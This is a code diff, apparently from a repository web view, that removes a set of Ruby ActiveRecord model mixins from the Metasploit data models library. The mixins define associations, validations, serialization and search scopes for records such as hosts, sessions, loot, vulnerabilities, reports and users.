module MetasploitDataModels::ActiveRecordModels::Event
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :host
serialize :info, ::MetasploitDataModels::Base64Serializer.new
scope :flagged, where(:critical => true, :seen => false)
scope :module_run, where(:name => 'module_run')
validates_presence_of :name
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ExploitAttempt
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :exploit_attempt_count
validates :host_id, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ExploitedHost
def self.included(base)
base.class_eval{
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :service, :class_name => "Mdm::Service"
belongs_to :workspace, :class_name => "Mdm::Workspace"
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::HostDetail
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :host_detail_count
validates :host_id, :presence => true
}
end
end

View File

@ -1,10 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::HostTag
def self.included(base)
base.class_eval {
base.table_name = "hosts_tags"
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :tag, :class_name => "Mdm::Tag"
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ImportedCred
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
}
end
end

View File

@ -1,14 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Listener
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :task, :class_name => "Mdm::Task"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
validates :address, :presence => true, :ip_format => true
validates :port, :presence => true
}
end
end

View File

@ -1,35 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Loot
def self.included(base)
base.class_eval {
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :service, :class_name => "Mdm::Service"
serialize :data, ::MetasploitDataModels::Base64Serializer.new
before_destroy :delete_file
scope :search, lambda { |*args|
where(["loots.ltype ILIKE ? OR " +
"loots.name ILIKE ? OR " +
"loots.info ILIKE ? OR " +
"loots.data ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.loot_delete_file(self[:id])
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,15 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Macro
def self.included(base)
base.class_eval{
extend MetasploitDataModels::SerializedPrefs
serialize :actions, ::MetasploitDataModels::Base64Serializer.new
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
serialized_prefs_attr_accessor :max_time
validates :name, :presence => true, :format => /^[^'|"]+$/
}
end
end

View File

@ -1,6 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModRef
def self.included(base)
base.class_eval{
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleAction
def self.included(base)
base.class_eval{
base.table_name = "module_actions"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleArch
def self.included(base)
base.class_eval{
base.table_name = "module_archs"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleAuthor
def self.included(base)
base.class_eval{
base.table_name = "module_authors"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,67 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleDetail
def self.included(base)
base.class_eval {
base.table_name = "module_details"
has_many :authors, :class_name => "Mdm::ModuleAuthor", :dependent => :destroy, :source => :module_author
has_many :mixins, :class_name => "Mdm::ModuleMixin", :dependent => :destroy, :source => :module_mixin
has_many :targets, :class_name => "Mdm::ModuleTarget", :dependent => :destroy, :source => :module_target
has_many :actions, :class_name => "Mdm::ModuleAction", :dependent => :destroy, :source => :module_action
has_many :refs, :class_name => "Mdm::ModuleRef", :dependent => :destroy, :source => :module_ref
has_many :archs, :class_name => "Mdm::ModuleArch", :dependent => :destroy, :source => :module_arch
has_many :platforms, :class_name => "Mdm::ModulePlatform", :dependent => :destroy, :source => :module_platform
validate :refname, :presence => true
validates_associated :authors
validates_associated :mixins
validates_associated :targets
validates_associated :actions
validates_associated :archs
validates_associated :platforms
validates_associated :refs
def add_author(name, email=nil)
if email
r = self.authors.build(:name => name, :email => email).save
else
self.authors.build(:name => name).save
end
end
def add_mixin(name)
self.mixins.build(:name => name).save
end
def add_target(idx, name)
self.targets.build(:index => idx, :name => name).save
end
def add_action(name)
self.actions.build(:name => name).save
end
def add_ref(name)
self.refs.build(:name => name).save
end
def add_arch(name)
self.archs.build(:name => name).save
end
def add_platform(name)
self.platforms.build(:name => name).save
end
def before_destroy
Mdm::ModuleAuthor.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleMixin.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleTarget.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleAction.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleRef.delete_all('module_detail_id = ?', self.id)
Mdm::ModuleArch.delete_all('module_detail_id = ?', self.id)
Mdm::ModulePlatform.delete_all('module_detail_id = ?', self.id)
end
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleMixin
def self.included(base)
base.class_eval{
base.table_name = "module_mixins"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModulePlatform
def self.included(base)
base.class_eval{
base.table_name = "module_platforms"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleRef
def self.included(base)
base.class_eval{
base.table_name = "module_refs"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,9 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ModuleTarget
def self.included(base)
base.class_eval{
base.table_name = "module_targets"
belongs_to :module_detail
validate :name, :presence => true
}
end
end

View File

@ -1,14 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::NexposeConsole
def self.included(base)
base.class_eval{
serialize :cached_sites, ::MetasploitDataModels::Base64Serializer.new
validates :name, :presence => true
validates :address, :presence => true
validates :username, :presence => true
validates :password, :presence => true
validates :port, :inclusion => {:in => 1..65535}
}
end
end

View File

@ -1,34 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Note
def self.included(base)
base.class_eval{
notes = base.arel_table
belongs_to :workspace, :class_name => "Mdm::Workspace"
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :note_count
belongs_to :service, :class_name => "Mdm::Service"
serialize :data, ::MetasploitDataModels::Base64Serializer.new
scope :flagged, where('critical = true AND seen = false')
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
scope :search, lambda { |*args|
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
"OR ntype ILIKE ?",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
])
}
after_save :normalize
private
def normalize
if data_changed? and ntype =~ /fingerprint/
host.normalize_os
end
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Profile
def self.included(base)
base.class_eval{
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Ref
def self.included(base)
base.class_eval{
has_many :vulns, :through => :vulns_refs, :class_name => "Mdm::Vuln"
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
}
end
end

View File

@ -1,29 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Report
def self.included(base)
base.class_eval {
belongs_to :workspace, :class_name => "Mdm::Workspace"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
validates_format_of :name, :with => /^[A-Za-z0-9\x20\x2e\x2d\x5f\x5c]+$/, :message => "name must consist of A-Z, 0-9, space, dot, underscore, or dash", :allow_blank => true
serialize :options, MetasploitDataModels::Base64Serializer.new
before_destroy :delete_file
scope :flagged, where('reports.downloaded_at is NULL')
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.report_delete_file(self[:id])
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,22 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ReportTemplate
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
before_destroy :delete_file
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.report_template_delete_file(self[:id])
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,7 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Route
def self.included(base)
base.class_eval{
belongs_to :session, :class_name => "Mdm::Session"
}
end
end

View File

@ -1,42 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Service
def self.included(base)
base.class_eval{
eval("STATES = ['open', 'closed', 'filtered', 'unknown']") unless defined? STATES
has_many :vulns, :dependent => :destroy, :class_name => "Mdm::Vuln"
has_many :notes, :dependent => :destroy, :class_name => "Mdm::Note"
has_many :creds, :dependent => :destroy, :class_name => "Mdm::Cred"
has_many :exploited_hosts, :dependent => :destroy, :class_name => "Mdm::ExploitedHost"
has_many :web_sites, :dependent => :destroy, :class_name => "Mdm::WebSite"
has_many :web_pages, :through => :web_sites, :class_name => "Mdm::WebPage"
has_many :web_forms, :through => :web_sites, :class_name => "Mdm::WebForm"
has_many :web_vulns, :through => :web_sites, :class_name => "Mdm::WebVuln"
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :service_count
has_many :web_pages, :through => :web_sites
has_many :web_forms, :through => :web_sites
has_many :web_vulns, :through => :web_sites
scope :inactive, where("services.state != 'open'")
scope :with_state, lambda { |a_state| where("services.state = ?", a_state)}
scope :search, lambda { |*args|
where([
"services.name ILIKE ? OR " +
"services.info ILIKE ? OR " +
"services.proto ILIKE ? OR " +
"services.port = ? ",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
])
}
after_save :normalize_host_os
def normalize_host_os
if info_changed?
host.normalize_os
end
end
}
end
end

View File

@ -1,33 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Session
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host"
has_one :workspace, :through => :host, :class_name => "Mdm::Workspace"
has_many :events, :class_name => "Mdm::SessionEvent", :order => "created_at", :dependent => :delete_all
has_many :routes, :class_name => "Mdm::Route", :dependent => :delete_all
scope :alive, where("closed_at IS NULL")
scope :dead, where("closed_at IS NOT NULL")
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
before_destroy :stop
def upgradeable?
(self.platform =~ /win/ and self.stype == 'shell')
end
private
def stop
c = Pro::Client.get rescue nil
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::SessionEvent
def self.included(base)
base.class_eval{
belongs_to :session, :class_name => "Mdm::Session"
}
end
end

View File

@ -1,27 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Tag
def self.included(base)
base.class_eval {
has_many :hosts_tags, :class_name => "Mdm::HostTag"
has_many :hosts, :through => :hosts_tags, :class_name => "Mdm::Host"
belongs_to :user, :class_name => "Mdm::User"
validates :name, :presence => true, :format => {
:with => /^[A-Za-z0-9\x2e\x2d_]+$/, :message => "must be alphanumeric, dots, dashes, or underscores"
}
validates :desc, :length => {:maximum => 8191, :message => "desc must be less than 8k."}
before_destroy :cleanup_hosts
def to_s
name
end
def cleanup_hosts
# Clean up association table records
Mdm::HostTag.delete_all("tag_id = #{self.id}")
end
}
end
end

View File

@ -1,28 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Task
def self.included(base)
base.class_eval{
belongs_to :workspace, :class_name => "Mdm::Workspace"
serialize :options, ::MetasploitDataModels::Base64Serializer.new
serialize :result, ::MetasploitDataModels::Base64Serializer.new
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
scope :running, order( "created_at DESC" ).where("completed_at IS NULL")
before_destroy :delete_file
private
def delete_file
c = Pro::Client.get rescue nil
if c
c.task_delete_log(self[:id]) if c
else
::File.unlink(self.path) rescue nil
end
end
}
end
end

View File

@ -1,23 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::User
def self.included(base)
base.class_eval {
extend MetasploitDataModels::SerializedPrefs
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
has_and_belongs_to_many :workspaces, :join_table => "workspace_members", :uniq => true, :class_name => "Mdm::Workspace"
has_many :owned_workspaces, :foreign_key => "owner_id", :class_name => "Mdm::Workspace"
has_many :tags, :class_name => "Mdm::Tag"
validates :password, :password_is_strong => true
validates :password_confirmation, :password_is_strong => true
serialized_prefs_attr_accessor :nexpose_host, :nexpose_port, :nexpose_user, :nexpose_pass, :nexpose_creds_type, :nexpose_creds_user, :nexpose_creds_pass
serialized_prefs_attr_accessor :http_proxy_host, :http_proxy_port, :http_proxy_user, :http_proxy_pass
serialized_prefs_attr_accessor :time_zone, :session_key
serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields)
}
end
end

View File

@ -1,38 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Vuln
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :vuln_count
belongs_to :service, :class_name => "Mdm::Service", :foreign_key => :service_id
has_many :vuln_details, :dependent => :destroy, :class_name => "Mdm::VulnDetail"
has_many :vuln_attempts, :dependent => :destroy, :class_name => "Mdm::VulnAttempt"
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
has_many :refs, :through => :vulns_refs, :class_name => "Mdm::Ref"
validates :name, :presence => true
validates_associated :refs
after_update :save_refs
scope :search, lambda { |*args|
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
]).
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
}
private
def save_refs
refs.each { |ref| ref.save(:validate => false) }
end
def before_destroy
Mdm::VulnRef.delete_all('vuln_id = ?', self.id)
Mdm::VulnDetail.delete_all('vuln_id = ?', self.id)
Mdm::VulnAttempt.delete_all('vuln_id = ?', self.id)
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::VulnAttempt
def self.included(base)
base.class_eval {
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_attempt_count
validates :vuln_id, :presence => true
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::VulnDetail
def self.included(base)
base.class_eval {
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_detail_count
validates :vuln_id, :presence => true
}
end
end

View File

@ -1,10 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::VulnRef
def self.included(base)
base.class_eval {
base.table_name = "vulns_refs"
belongs_to :ref
belongs_to :vuln
}
end
end

Some files were not shown because too many files have changed in this diff Show More